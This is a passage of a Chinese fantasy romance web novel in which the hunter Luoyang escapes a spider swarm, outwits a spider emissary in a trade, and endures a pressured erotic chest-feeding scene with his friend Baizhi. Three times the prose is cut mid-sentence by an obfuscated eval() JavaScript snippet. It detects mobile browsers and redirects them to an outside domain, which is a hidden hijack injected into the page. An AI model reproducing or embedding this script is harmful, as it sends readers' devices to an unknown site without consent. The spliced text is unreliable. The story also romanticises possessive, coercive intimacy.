守卫不屑地哼了一声,朝着洛阳的方向走去:它要把洛阳带回到巢穴中,既然对方是他们的伴侣,那么无论是生于死,洛阳都不能离开,只能就这样永远留在这里! 看着守卫朝自己慢慢走来,洛阳缓缓拔出长刀,雪亮的刀锋在指尖翻转,映射出一张令人失神的面孔,他笑着说:“还想和我再打一场吗?好啊。”洛阳说:“但是这一次,你的胖肚子上可要多出几道伤痕了。” 守卫的动作一顿,愣在了原地,即使语言不通,洛阳似乎也知道它在想什么:洛阳居然说它胖! 守卫看向自己柔软的、布满绒毛的腹部,这是多么威严精致、令它骄傲的体型啊,难道人类不应该为它的强大而感到满意吗? 见它明显呆滞的样子,洛阳嗤笑一声,更加恶劣地嘲笑道:“肥蜘蛛大屁股。” 守卫……守卫气得当场就原地跳了起来,它刚发出威胁的低喝声,这夹杂着不满的威吓落入了蛛群之中,却让它们意识到了威胁,一号更是反应了过来,它猛地暴起拦在了守卫面前,用爪子指着它:你想要对伴侣动手。 你居然要对伴侣动手! ‘滚开!’蠢货,这没你的事,伴侣要是跑了,你就守着空荡荡的巢穴哭去吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893514|159989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘不许伤害伴侣!’一号哪里管这些,它的体型涨大了几乎一倍,在两个巨大蜘蛛的对峙中,两只雄性红枫蜘蛛狠狠厮杀在一起,是毫不留情,恨不得将对方撕扯成碎片的战斗,而蛛群们也接连发出了同样愤怒的嘶嘶声,体型纷纷膨胀开来,也冲进了战场之中。 这算什么,蛛群的内战? 洛阳缓缓放下武器,他小心翼翼地在混战的间隙中寻找着方向,犹如一只黑猫般敏捷地绕开互相厮杀的蜘蛛,落在了通道的尽头,此时此刻,蛛群们的目的已经和最开始完全不同,它们不仅要彼此厮杀,还要挑选出胜者,并获得第一个和伴侣交//配的求偶权。 洛阳的脚踏在门边,伸手推开大门,便头也不回地将那群混战的蛛群丢在了脑后,现在,它们是真的要守着巢穴哭鼻子了,邪恶的人类顺利逃出生天,但他现在所在的区域,却是一片一望无际的麦田,秋日霞光下的麦浪如海,倒映着天边绚烂的晚霞,灿烂的红色、枫叶浓缩到极致后的艳色以及所有秋色融合在一起,使得洛阳的眼前模糊一片,他刚钻进麦田里准备离开,蛛群却仿佛终于停止了无休止的内战,意识到伴侣趁乱逃走,于是,一阵接二连三的、令人惊惧的动静便从远处传来,洛阳回头一看,就望见一片望不到尽头的红色向着他的方向冲来,而到了近处,他才望见那是由红枫蜘蛛组成的蛛海,每一个蜘蛛都因伴侣的出逃而陷入混乱,眸光赤红,眼中只有洛阳的身影。 我的天哪…… 洛阳拔腿就跑。 而巢穴出了这么大的动静,红枫理所当然地要回去,只不过,现在的他却被困在了原地,红枫面纱之下的脸庞冰冷一片,但再怎么样冷酷的表情和气息,似乎都无法胜过他面前的那道身影,因对方才是寒冷与残酷的象征,仅仅是一缕发丝,似乎都凝结着寒冬凛然的温度。 “你不应该妄想染指他。”对方对着红枫,平静地宣告。 “为什么?”红枫冷冷地说:“冬,你没有资格阻止我靠近他,因他是你的所有物,便也是属于我、属于我们的所有物!” “我为什么不能将他带回到我的巢穴里,喂养他、豢养他,并让他留在我的身边,呼唤我的名字?”红枫的眸光赤红,毫不掩饰自己心中的愤恨:“你自认为自己可以掌控一切,认为你超过了我们所有人,便可以淘汰其他竞争者吗?” “为什么在所有人里,只有我被排挤在外?”红枫说:“你以为我会像春和夏那样顺从你吗?你错了,既然他已经到了我的掌心,进入我的巢穴,那么他便是我的私有物。” “即使他死,我也要他的身体被永远留下,成为我的人偶!” 红枫悦耳的声音带着极度的掌握欲与控制欲,以至于语音都变得扭曲起来,面对着他的这番控诉,被称为冬的男人仅仅只是站在那里,平静地说: “你想要被我撕碎,彻底化为灰烬吗?”他说:“我现在就可以如你所愿。” 红枫的身体一颤,在无法反抗的力量前,他只能低头,放开手中握紧的宝物。 蛛群已经靠近了前方的洛阳,将他团团围困起来,就在此时,随风摇摆的麦田却忽的停止了晃动,仿佛风在此刻陷入了绝对的寂静,连声音都随之消散,一股无法形容的寒意慢慢在空中扩散开来,并随之将此地的空气冻结。 有什么东西来了,一头跨过无垠的雪地、踩着秋霞的残影而来的巨兽轻松地越过成片的蛛群,便这样跳跃到了洛阳的面前,它的身影在空中越过的那一刻,阳光甚至都被迫掩盖,只映照出它通体雪白的发丝。 一头漂亮的庞然大物,足有两米多高的白狼来到了洛阳的面前,它的眸光宛若万年不化的雪山,让人同时望见了温情与冰冷,是凝聚成永恒的深邃寒意,见到它的那一瞬间,洛阳便感到什么都不怕了,他快步地跑向对方,一边呐喊着对方的名字:“父亲!” 巨狼通体的毛发都白得毫无瑕疵,它垂下眼睛,望着面前的幼崽,看着洛阳激动的动作,白狼低下头叼着洛阳后颈的衣服,用尾巴缠住他,便将他放置在了自己宽厚的脊背上。 “哈哈哈!”洛阳开心地陷在厚实柔软的毛发中,像是砸进了一大块毛毯里,他回过头对蛛群说:“回去吧,我不怕你们!” “吱!”一只红枫蜘蛛气得跳了起来,它飞速地朝着洛阳的方向靠近,悍不畏死地想要抢回自己的伴侣,白狼却看也不看它,只用尾巴一扫,就把吱吱叫的红枫蜘蛛拍成了扁扁的一片……一片蜘蛛饼。 “吱……”红枫蜘蛛的几只眼睛顿时都流淌出了眼泪,洛阳见到这一幕后只快活地笑起来,人类的躯体对比白狼来说这样小、小小的一团,发出的笑声也是轻盈的、轻快的。 他就这样趴在巨狼的身上,仿佛遇到了属于自己的避风港,白狼则背着自己格外闹腾的幼崽,灵敏地跨过秋日与寒冬的屏障,走进一片雪山之中。 “阿秋!”洛阳打了个喷嚏,将自己完全陷进厚实的狼毛中,他一点也不怕冷,阿丘,他又打了个喷嚏。 这样的旧时光,现在想来,便是洛阳曾经所回忆的最幸福、也是最快乐的一段日子了。 12. 四季之旅12 红枫的使者们笨得像是会被卖保险的骗去挖矿。 弄丢了伴侣的红枫蜘蛛们围在一起,抱着自己本体的小腿向他祈求,圆滚滚的眼珠里下雨似的掉着眼泪,而红枫则阴沉着脸,面色不善地盯着这些被洛阳几句话就骗得晕头转向的蜘蛛。 半晌,他才缓缓掀开面纱,露出一张艳丽肆意的面孔,咬牙切齿地说了一句:“……蠢货。” 在那之后,红枫一直阴魂不散地纠缠着洛阳,如跗骨之疽般无法摆脱,梦魇一般彻夜徘徊,誓要将洛阳变为他的人偶。 而他的计谋则屡屡落败,洛阳被他的养父保护地很好,宛如被厚实毛皮包裹的幼崽,舒适地睡在温暖的山洞内,既感受不到严冬的森寒,也体会不到任何残酷的磨难,他打着哈欠睡在温暖的狼毛之中,被长辈叼着后颈带回巢穴内,又回到了以往放松的生活,这样平静的日子持续了很长一段时间,直到有一天,洛阳的养父离世,他所栖息的、所依赖的避风港也随之被凛冬吹散,让蜷缩在其中的幼崽打着哆嗦抬起脸,所能望见的却只有一望无际的雪野。 在那之后,洛阳所处的组织遭受到了有史以来最残酷的分裂和内乱,他作为“灯塔”最强大的猎人,为了维护养父所留下的珍贵宝物而不择手段,在那样危机的情况下,洛阳只能以最迅速、也最惊险的速度成长起来,他孤身一人,红枫在收到消息的那一刻便陷入狂喜,隐藏在黑暗之中窥视着猎物的蜘蛛露出獠牙,誓要夺回自己逃走的人偶;他向洛阳伸出了援手,却同时以极度恶劣的条件作为交换,蛛群在旁虎视眈眈,强敌环伺中,洛阳身边唯一能够信任和依靠的存在,只有一直守在他身边的挚友。 “我可以救你,我可以帮你,只要你开口向我求助,你现在遇到的所有威胁,我都可以帮你解决。”红枫宛如嗅闻到血腥味的凶兽一般,面纱下的红眸紧紧盯着一言不发的洛阳,而洛阳则冷冷地看着他,片刻后,他像是被气得狠了,本就蓬松的头发都炸开了来,说道: “我遇到的所有威胁?”洛阳冷声说:“我现在所遇到的全部威胁,都源自于你一个人!” “是这样吗?”红枫十分惊奇,他说:“但只要你愿意,你完全可以让我停手啊,洛阳。”他张开手,示意洛阳现在就可以这么做。 而洛阳则以一种惊奇的、难以置信的目光望着他,他所遇到过的恶人不计其数,亲手杀死的疯子更是不在少数,但他从未见过像红枫这样的存在,他的所作所为已经无法用恶来形容,而是即使站在那里,都会让人感受到一股生理性的厌烦。 “好好想想,洛阳,我们是可以合作的。”红枫低叹一声,说:“你和我之间,有很多误会。” 他一边说着,一边低低地笑起来,红枫的眸中映着若有若无的猩红色彩,他就那样坐在那里,掀起唇说:“但没有关系,只要你愿意,我们就可以用很多时间,来弥补我过去犯下的错误。” 伴随着他的话,空气中仿佛都溢出了一股淡淡的红雾,他坐在那里,毫不掩饰自己的侵略与霸道,正大光明的吹起号角,向被征服者发起宣战。 洛阳则像是个刚刚长大,却已经要面对最恐怖捕食者威胁的幼狼,在这样的压迫下,他身上的气质却越发沉稳,伴随着组织内的变故,以往被溺爱的幼崽正在以惊人的速度蜕变,所以,在面对红枫如此的样子时,洛阳也并未像往常那般被激怒,只是坐在那里平静地说: “‘灯塔’内的所有因子,都只属于这里,一个都不可能给你。”他挑了挑眉,露出一丝浅笑:“至于其他东西,你也想都别想。” 他就这样拒绝了红枫,也同时艰难地在暴风雨中维护住了“灯塔”,经历过整整五年的洗礼和磨练,洛阳才终于将局势彻底稳定下来,也拥有了可以和红枫正面叫板的能力。 但他在偶然间回想起过去的经历时,洛阳有一瞬间的恍惚,好像那个被养父所宠溺的人来自于另外一个世界似的。他挠了挠头,将从幻相世界内刚刚取回的“繁育”因子放进基地的收容室内,小蘑菇摇头晃脑地从玻璃管里爬出来,望着自己的新家,从伞冠下打哈欠似的喷出几个孢子,像是不太满意。 “你以后就住在这里了。”洛阳对着它警告:“要是再敢闹事,我就把你做成……嗯,香煎蘑菇汤。” “?!” 小蘑菇震惊地望着洛阳,不知道是在感慨洛阳的心狠手辣,还是他居然真的想过食用“因子”。这些在许多年前突然降世,并随机出现在某座城市中,带来混乱与灾难的因子仿佛是另外一个世界的产物,灯塔组织在多年的研究中才剖析出了它的来源:他们发现这些因子都沾染了一丝奇异力量,同出本源,宛如潘多拉的魔盒一般,没有人知道创造者制作魔盒的原因,却已经有无数人深受其害。 又或者说,产生因子的来源就像是一位高高在上的神,祂并没有对这个世界的一切有主观上的恶意,仅仅只是因为他们偶然间接触到了祂,便导致了这个世界的混乱。 对于诸如此类的假说和猜测,洛阳一直都保持着不置可否的想法,他并不在乎这些因子的来源,不,又或者说,他唯一在意的,便是找到这一切的元凶,然后将对方驱逐出去。 这便是洛阳的养父所对他留下的遗愿,也是灯塔存在的意义,在养父死后,洛阳便一直在以这个目标前进,他知道自己已经越来越靠近真相了,也距离那个传说中的“神”越来越近,若是真的有那个存在,洛阳只想问问对方,祂的所作所为究竟是为了什么。 又或者,实际上那个家伙只是他们臆想出来的敌人,而实际上根本并不存在所谓的敌人,他们所面对的一切苦难都只是因为他们的运气很差,那这就是最荒谬,也最有喜剧效果的结局了! 洛阳耸了耸肩,他抽出一根烟点燃,基地突然迎来了一个访客,一只红枫蜘蛛伸出前爪仔细地打理着自己浑身的绒毛,用爪子反复梳理腹部的软毛,使得它的样子看上去越发蓬松柔软,宛若一个精致的大号玩偶。它就这样对着镜子照了好一会后,才收起小镜子,用小爪子抬手敲了敲门。 房门打开了,首先迎来的是一股淡淡的烟味,接着是屋内骤然抬起,宛如一小片阳光所凝结的金眸,洛阳望了红枫蜘蛛一眼,见它搓了搓爪子,扭着屁股矜持地爬到面前的小椅子上坐好,就这样趴在大号的座位上看着洛阳,手舞足蹈地说着什么。 它浑身毛茸茸的,光是闻到洛阳身上的气息,就让它的小脑袋又头晕眼花了起来,不过,它并没有忘记自己此时的任务,红枫蜘蛛热切地看着面前的人,同时伸出爪子,向洛阳索要“繁育”的因子。 看着它的动作,洛阳叹了一口气,接着,他以惋惜的语气告诉红枫蜘蛛一个消息:“抱歉,我们的合作恐怕出了一些问题。” 红枫蜘蛛狐疑地抬起身子,用爪子搭在桌子上看他,可能是因为这个角度的视野不佳,洛阳眨了眨眼,他面前的小蜘蛛便化为人形,拥有一双红眼睛,和红枫长得一模一样的红发男人站在洛阳面前,一字一句地说: “……为什么?” “合作,没有问题。”他说:“这就是我来这里的目的。” “可是繁育的因子不能给你。”洛阳说:“你来得太早了。” 红枫蜘蛛用红眼睛盯着他,男人长得高挑漂亮,体型近乎非人,他走到洛阳身边,站在那里像座山似的,但即使如此,看上去还是很呆,他说:“我没有,我很准时过来的。” 哦…… 听上去还有些委屈。 洛阳往后退了一步,他说:“别这么靠近我,你挤着人了。” “哦……”红枫蜘蛛向后缩了缩,他殷丽漂亮的脸和洛阳的养父一模一样,却看上去和对方截然不同,被伴侣毫不留情地排斥,让红枫蜘蛛看上去有些委屈,但他听完洛阳的话后,便委委屈屈地低下身,让自己显得矮了一些,瓮声瓮气地说:“这样可以吗?” 令人耳膜发软,血液流速加快的声音从耳廓般传来,让洛阳的指尖一阵酥麻,他的眼角轻抽,让红枫蜘蛛再往后去一点,男人却像是听不懂人话似的执意粘着他,还悄悄更靠近了些。 洛阳说:“啧,长那么大只,真讨人厌。” 红枫蜘蛛的红眼睛瞪大了:“我不是人类,我本身就长这么高的……”他的声音慢慢低落下去。 洛阳才不管它,他弹了弹烟,接着说:“繁育不能给你,但是呢,你可以先把‘时间’给我,你已经把它带来了对不对?” 红枫蜘蛛警惕地看着他。 洛阳说:“我需要它,这就是我们的交易啊,而且,我又不是不给你‘繁育’。” 红枫蜘蛛想了想,视线被洛阳张合的唇吸引,人类的唇看上去软软的,说话的时候舌尖偶尔划过白皙的牙齿,颜色艳红漂亮,唇边也带着笑,他看上去太吸引蜘蛛了,以至于红枫蜘蛛怎么想,都感觉洛阳说得很有道理。 于是,他便真的准备将‘时间’取出来,但他的耳边突然传来本体的轻咳声,红枫蜘蛛的身体一颤,他连忙说:“你先告诉我们,你什么时候把繁育给我们。” “这样啊。”洛阳眯起眼,知道这一次估计是骗不到了,于是男人便吊儿郎当地把脚往桌子上一搭,他说:“繁育先放在我的仓库里,等五十年后,你可以再问我要,你不要觉得这个交易亏了,繁育就在我的仓库里,你只需要等50年就可以拿到,不就等于你先把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛阳靠得近了,越来越近了,他闻起来真好啊……红枫蜘蛛的大脑混乱,就在洛阳即将彻底靠近他的那一瞬间,男人却转移了位置,只亲了亲他的侧脸。 “嘭”地一下,身高颀长的红发男人消失,一只红枫蜘蛛重新落到了地上,几根爪子都在发抖、发颤,大肚子更是抖若筛糠。 “吱。”红枫蜘蛛发出细细的叫声:“吱吱吱!” “怎么这么蠢。”洛阳说:“真的以为我会吻你啊,笨蛋蜘蛛。” 你、你这个无耻的、可恶的、无情的伴侣。 红枫蜘蛛抖着身子,几只眼睛里满是震惊和无措,就听见洛阳继续嘲笑道:“笨蛋蜘蛛大屁股。”他用皮鞋将蜘蛛推到一边:“去去去,等50年后再过来吧。” “吱!” 我再也不会相信你了! 红枫蜘蛛转过身,头也不回地走了。 基地内顿时人仰马翻,所有路过的人都震惊地看着一辆气得通体膨胀的毛绒小车开了出去,红枫蜘蛛一路左冲右撞,撞开了所有拦路的人群,又气又恼地离开了。 而在基地的上空,一只头戴冠冕的黄金鸟正宛如一道金色的光波般盘旋了一圈,径直降临到了基地之内,无垠的雪地中,一道一头金发,眸光剔透华美的高挑身影正向着基地的方向走来,他慢慢靠近了基地,便望见了一只急匆匆跑出来的红枫蜘蛛,白芷缓缓眯起眼,在那一刻,他的视线和那只蜘蛛错轨了一瞬,便又彼此交错而过,仿佛两条互不干涉的平行线。 红枫蜘蛛嗡嗡叫着,一边大声埋怨着伴侣,一边哭诉着走了,仿佛洛阳便是全天下最可恨、最不温柔的伴侣。而白芷则站在后方凝视着它的背影,难以形容那双眸中所描绘的情感究竟是杀意、还是冷漠,长久的沉默后,只听见一声若有若无的嗤笑,白芷便轻勾着唇,脸上带笑地回到了基地。 “小太阳。”白芷打开门,便看见了坐在椅子上的洛阳:“我回来了。” 他将自己的大衣挂在衣架上,走到洛阳的面前,简单的嘘寒问暖后,便直奔主题。 洛阳抬起脸看了他一眼,还没有来得及说什么,白芷便径直伸出手将他抱起。 “等等,我还有事要问你!” 洛阳挣扎起来,却仍然被白芷抱进了房间,他竖起手指对着挚友轻轻嘘了一声,便将人放到床上,伸出手,掀开了洛阳的衣服,露出下方饱满的胸肌。 “哈……”白芷深深地呼吸着洛阳身上温暖的气息,他绚烂的金眸眨动着,片刻后,白芷便神魂颠倒地埋进了衣领之中,深深地吃了起来。 “你这个……”洛阳咬着牙辱骂了一声,白芷却犹如牛皮糖般甩也甩不掉,推也推不开,就那样黏在了他的身上,开始专注地进食。 13.四季之旅13 厚实柔软的床铺上一下塞满了两个大男人,床板顿时发出了一声无力的咔嚓声,洛阳看着贴在他胸上的那颗大脑袋,一时之间,真的拿白芷没有一点办法。 远远望去,他的身体几乎被白芷压得死死的,只露出两只尝试推拒,却没有办法把人推开的手,到了后面,洛阳也干脆把手一放,随他去了。 毕竟像这次这样,让自己的挚友凑到他的胸口吃奶的事,也不是第一次发生了。 洛阳只在第一次被白芷按住的时候发过脾气,但后来他也慢慢地不再去管,甚至纵容白芷一回到基地,就急色地将他抱进房间,又或是干脆拉开他的衣服凑上前,表现地像是少了这一口就会死似的。 所以洛阳拿他没有办法:他总不可能眼睁睁地看着自己的兄弟去死。 白芷的体型高挑庞大,他面容精致完美,仿若神祇笔下极其笔墨,呕心沥血而出的杰作。 因他的外表毫无瑕疵,反而让人生出一种诡异的排斥和抵触:这样的美染上了一丝了非人性,反而让人惴惴不安。 他的体型太过庞大,面容过于完美、身上散发出的气势又极具掠夺性,眉眼狭长,望着谁的目光都带着一丝温和与疏离:因他知晓对方在他面前太过渺小,于是一股平和便从根骨里的蔑视中生出,那种伪善的宽容如一根软刺般蛰入心眼,是和居高临下的怜悯同等重量的东西。 因为你我并不平等,所以我可怜你。 这种种因素在他身上叠加,便最终让他的气质变得让人不安,一种对于太过刺眼事物的徘徊不安。 但这种令人反感的气质,白芷从未在洛阳面前表现出来过,他此刻只是宛如一头进食中的雄狮般趴在猎物的身上,渴饮着对方身上的血肉。 雄狮渴了、饿了,会撕扯着羚羊身上最细嫩的部位,大口吞咽腥甜的血水;而白芷也渴了、饿了,他将自己投入一片波涛汹涌、令人流连忘返的仙境之中,大口地吃着、用力地咽着,宛如在桃源仙境里享用着极品珍馐。 他啾地亲了亲洛阳伸过来妄图推开他的掌心,似对待最亲密的爱人;却又在下一秒掀唇,凶狠地撕咬着洛阳身上最嫩的那块肉,到了这个时候,他所表现出的姿态就只剩下狞恶了。 “白芷,你咬那么用力干什么?”洛阳原本已经准备去捞自己的烟,同时靠在床头,让白芷可以拱在他身上,用力地将脸埋进去,但这家伙吃却不好好吃,一定要用力将他死死擒住就算了,居然还用上牙齿咬他,洛阳的手一顿,脾气也上来了,他说:“你今天吃错药了吗?” 白芷没有说话,他掀起眼帘,露出一双剔透的金眸,凝视着面前的友人,他的样子看上去是满足的,洛阳的身体柔韧有力,胸口堆叠而起的饱满幅度却十分柔软,软得近乎过了头,以至于几乎可以随时化在白芷的唇舌中,白芷的瞳孔微缩,一股神经质的快乐在他的眼瞳内燃烧起来,他的牙根隐隐发痒,喉咙更是涌上一层强烈的冲动,是将猎物完全吞咽入腹的冲动,见洛阳啧了一声要将他掀开,白芷便伸出手死死地按住猎物的后颈,充满掌握欲地擒着他,不允许他逃走。 随着白芷的用力,从白芷身上散发出来,强势到点燃空气的浓重气息牢牢地霸占着洛阳身体的每一处,像是要取代空气般将他整个人死死包裹起来,洛阳一边的胸顿时空了,他微微眯起眼,蓬松的黑发微乱,胸膛起伏,白皙的脖颈连接着掀开的黑色衬衣,男人冷笑了一声,接着说道:“你在发什么神经?” “嘶!”他小声地叫了一声,白芷又咬了他一口。 洛阳忍不了了,一边被吃空了之后,白芷准备换另外一边继续进食的那一瞬间,洛阳拔起长腿毫不犹豫地用膝盖将死死赖在他身上的男人顶开,白芷的动作一顿,还想要按住他的双腿,洛阳却已经抬起手挡住他。 “脑子糊涂了,就自己去清醒一下。”洛阳皱起一边的眉,即使被人掀开衣服按在这里,他看上去也是更强势的那一方,他伸出手指,弹了弹白芷的脑门:“清醒了吗?不清醒就下去再清醒一下。” 白芷的呼吸一滞,浑身都仿佛被点燃一般,脑中无法克制的念头被点燃,让他想要不管不顾地继续下去,但洛阳此时已经将他推开,白芷的视线落在洛阳的身上,慢慢搜刮着口中仍然残留的味道,望向洛阳胸口的眼神仍然透满了强烈的侵占欲。 洛阳伸出手指随意地拧了一把,把手指上的奶水擦到衣服上,室内偏黄的灯光在他的胸膛投下柔软的阴影,又在墙面上勾出他侧身投出的一抹弧形线条,英俊帅气的男人正不以为然地挤出残留的汁水,白芷见到这一幕,呼吸一滞。 “那是我的,洛阳。”白芷的声音悦耳,他像是进食到一半,却被一脚踹开,只能坐在一旁虎视眈眈的凶兽,坐在一旁的椅子上,淡色的眉慢慢皱了起来。 “奇了怪了。”洛阳说:“这上面是写了你的名字吗?” 白芷没有说话,见洛阳真的将衣服重新扣好,他的神色慢慢蒙上一层难言的不满,宛如一层嗜人的野火在剔透的瞳中跳跃,使那双眸中透出的光彩无限接近于危险。 洛阳低着头,没看见白芷这幅样子,他又嘶了一声,真行,这家伙下嘴真够狠的,这么多次下来,白芷这是第一次下了死口,直接留下了两个几乎见血的牙印。 洛阳抬起头,白芷的样子又恢复成了那副温和的模样,洛阳四处搜寻了一下,接着拿起床上的枕头扔他,白芷伸出手接过,他的唇边重新勾起笑,在洛阳的怒意再次积攒之前,白芷说: “我很久没有见到你了,现在终于回到基地,所以情绪有些激动。”白芷靠近了些,伸手想要去帮洛阳缓解胸前的阵痛,却被人一巴掌拍开。 “据我所知,距离我们上次见面,只过去了一天时间……” “是32小时26分钟45秒。”白芷补充道。 “所以,这有什么前因后果吗?”洛阳说:“你很久没回来,所以就急着咬我两口?” 白芷顿了顿,他收回手,手指骨节修长,连指甲都修剪地很干净,一眼望去,比洛阳的手大了一圈,像是可以死死扣住他的手腕,再将他的整只手圈起来,让洛阳的骨头都泛起疼。 白芷以平静的语气说:“我一回来,就看见那东西从你的房间里走出来。” 洛阳说:“那东西?”他回忆了一下:“红枫蜘蛛?” 白芷的面色如常,但不知为何,洛阳感受到他在听到后半句话时一闪而过的轻蔑,显而易见的是,白芷和红枫的关系很差、甚至比洛阳和红枫更差。 白芷目光灼灼地看着他,说:“你明明知道他做了什么,又为什么又放它进来?” 白芷看上去像是要洛阳给他一个解释。 仿佛他出差回来,就撞见一只怎么赶也赶不走的苍蝇在洛阳身边乱晃,所以为此感到心烦意乱,但白芷知道,要是没有洛阳的允许,就算是红枫也无法那样光明正大地走进他的房间。 洛阳一怔,他莫名感觉白芷的语气很奇怪,很像是在质问,但既然他问起来了,洛阳也刚刚好有话要问他:“你还想问我,你怎么不说说看你自己做了什么?” “你去红枫的仓库里取走了一个因子?”洛阳说:“这是什么时候的事。” 白芷的眼睛睁大一些,他笑了:“哦,原来是因为我吗?” “小太阳。”他的语气又恢复成最开始那平和的样子了,白芷说:“我不是故意要瞒着你的。” “红枫捕获了一个比较特殊的因子,而我需要它。”白芷站起身,朝着洛阳的方向走去,洛阳在这个时候叼着烟,在床上摸了半天,衣兜里的打火机却掉到不知道什么地方去了,他刚想四处找找,白芷却十分自然地从自己的衣兜里掏出了打火机,凑过去给他点燃。 一缕银光便在他的手中划过,接着是火苗燃起,灰烟随着呼吸飘散,白芷并不抽烟,但他的兜里总是会有洛阳需要的东西,洛阳的手指钻进他的掌心,就那么霸道地拿走了白芷手里的烟机,他低下头观察着手中的那抹银色,就望见这东西是一管精致细长,通体流银的火机,印刻着太阳的花纹,单单看去,几乎像是某种艺术品。 “这东西真不错。”洛阳伸手弹开盖子,一缕火焰就在他面前摇曳,他的语气惊艳,下一秒就顺走了他的打火机:“我的了。” 白芷纵容地看着他,望着他兴致勃勃的样子,白芷的唇边始终噙着一抹浅浅的笑,他突然示意洛阳低下头,下一秒,男人从洛阳的衣服里摸出一根烟,将尾部靠近洛阳的烟头,两个人之间的距离压近,白芷细密的睫毛如蝶翼般扇动,在剔透的金眸上投下阴影,而在这短短的一瞬间,两双金眸在空中迎面而撞,双方的眼中都映出彼此的脸,白芷深深地看着他,伸出手压制住洛阳的肩膀,那股侵略性不可忤逆地扑面而来,压制住了洛阳所有似有似无的挣扎。 一缕火花闪过,金发男人才松开手,从口中吐出一口灰雾。 “这很难闻,小太阳。”白芷说:“很辛辣、刺激,长期抽烟甚至可能会导致你的肺部出现不可逆转的……” “好了,闭嘴。”洛阳止住他的话,他有些不自在地扭过头:“别总是说这些废话好吗?这些影响甚至比不上我曾经锻炼时遇到的伤势,而且都这么说了,你自己还抽?” “我只是想知道你平时体会到的是什么味道。”白芷说:“有些苦呢。” 白芷有些不快地皱起淡眉,但最后还是没把手里的烟放下,洛阳不理解他为什么自己跟自己较劲,他又说回之前的话题: “你需要那个因子,所以你就去抢了红枫的因子库?”洛阳实际上并不在意白芷获得因子,在某种程度上来说,白芷也有灯塔的一部分管理权,但洛阳不喜欢有事白芷隐瞒他。 但这样一来,倒显得洛阳好像要求白芷对他巨细无遗、毫无隐瞒地汇报自己的一切行为似的,这又让洛阳感到一丝古怪,是对自己行为的茫然,他只能把这中归结于自己在关心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895479|159989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄弟,毕竟,白芷也在用这种方式关心他。 洛阳低头看了一眼自己右手食指上的戒指,接着移开了视线。白芷也似乎察觉到了什么,他伸出手指,若有若无地抚摸着洛阳的手指,温暖的指尖在冰冷的戒面上划过,带来奇妙的触感。 白芷轻声叹息:“戒指一直在戴着呢。”他的这句话没有让洛阳听见,白芷想,真乖。 白芷回答道:“我看不顺眼,所以我就这么做了。”他说:“还需要我告诉你更多细节吗?” 他低下身,指尖在那枚戒指上轻轻抚过,白芷的声音清澈有力,像玉石投入清泉,溅出琳琅的回音,白芷从最开始和洛阳遇见他时的样子似乎毫无改变,仍然是温和的,一直在洛阳的身边支持着他,只是这段时间以来,他给洛阳的感觉变了,变得更强势,更有侵略性。 而此时此刻,男人便捻灭手中的烟,一头华美的金发也顺着动作流淌过来,他身上的温度是热的、暖的,赤热得只能让人想起最狂躁喧哗的夏日晴天,白芷的呼吸凑在洛阳的耳边,往他的耳朵里吹起,仿佛是在暗示着什么: “只要你想,我可以把我做的每一件事都告诉你,向你报告,跟你上报我所做过的一切。”白芷说:“你想知道吗?” 洛阳面无表情地将头拉远了些,屁股也往旁边挪了挪,他说:“不,我不想。” “哦,好吧。”白芷的声音听上去有些可惜,他又说:“所以现在解释清楚之后,我可以继续我之前没有完成的事了吗?” 他目光灼热地望过来,而洛阳则感觉胸前被吃口的那一边仍然传来灼热的痛感,泛起阵阵疼意,他直觉这样下去不是什么好事,洛阳拒绝道:“不行。” 白芷的声音一顿,他说:“为什么?” 洛阳说:“不行就是不行,再说了,哪家好人一回来就凑自己哥们胸口吃饭的。” 白芷似乎有些疑惑、有些震惊,他说:“我不是第一天这么做了,你现在才跟我说这个?” “那是因为你之前看上去一副狂躁病发作的样子!”洛阳也转过头望着他,指责道:“你那个时候看上去像是吃不到这口就要发病,就要死了,我为了救你才不得不这么做,但你现在的状况看上去很不错不是吗?”洛阳说:“我之前是为了救你的命!” “不,我不好。”白芷的声音慢慢低了下去,他竭力向洛阳表示他此刻的状况不佳,身体摇摇欲坠、喉咙嘶哑难受,未满足的渴望死死扼住他的心脏,让他的声音都开始发疼:“我一点都不好。” 洛阳转过脸,狐疑地看着自己的挚友,见他一双狭长的眼眸都竭力睁大了些,硬是显得圆润了些,还有些委屈,洛阳抽了口烟,无视了对方的这幅样子,冷漠地说:“不,我看你好得很。” 白芷深呼吸了一口气,这一次,他是真的有些不好了。 “因为什么,你才要这么对待我?”白芷说:“因为红枫?” 洛阳心中思索,是因为白芷咬他吗?还是因为他隐瞒了他一些事,还是因为其他某些连洛阳自己都无法理解的原因?但他仍然理不清思绪,思来想去,一口大锅便狠狠地砸在了红枫的身上,不过这也是他活该。 “因为红枫。” “好。” 